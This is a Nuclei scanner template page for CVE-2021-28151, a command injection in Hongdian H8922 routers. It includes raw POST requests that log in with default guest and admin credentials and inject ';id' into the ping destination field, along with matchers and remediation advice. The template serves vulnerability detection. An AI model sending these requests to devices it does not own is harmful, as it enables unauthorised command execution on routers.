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Hongdian H8922 3.0.5 - Remote Command Injection

ID: CVE-2021-28151

Severity: high

Author: gy741

Tags: cve2021,cve,hongdian,rce,injection

Description

Section titled “Description”

Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address (a/k/a Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system.

YAML Source

Section titled “YAML Source”
id: CVE-2021-28151


info:
  name: Hongdian H8922 3.0.5 - Remote Command Injection
  author: gy741
  severity: high
  description: |
    Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address (a/k/a Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of the Hongdian H8922 firmware.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
    - http://en.hongdian.com/Products/Details/H8922
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28151
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ArrestX/--POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-28151
    cwe-id: CWE-78
    epss-score: 0.96385
    epss-percentile: 0.99564
    cpe: cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hongdian
    product: h8922_firmware
  tags: cve2021,cve,hongdian,rce,injection


http:
  - raw:
      - |
        POST /tools.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/tools.cgi


        op_type=ping&destination=%3Bid
      - |
        POST /tools.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/tools.cgi


        op_type=ping&destination=%3Bid


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"
          - "application/x-www-form-urlencoded"
        condition: or


      - type: regex
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fdd5edcea432888b079f8452e3b680fdbcf345795247e4fc760f2161677ff6b9022100b48f954c8f70802f1e7be55c1cd746897ff645f24aa86d3ee188c399532addc1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-28151.yaml"

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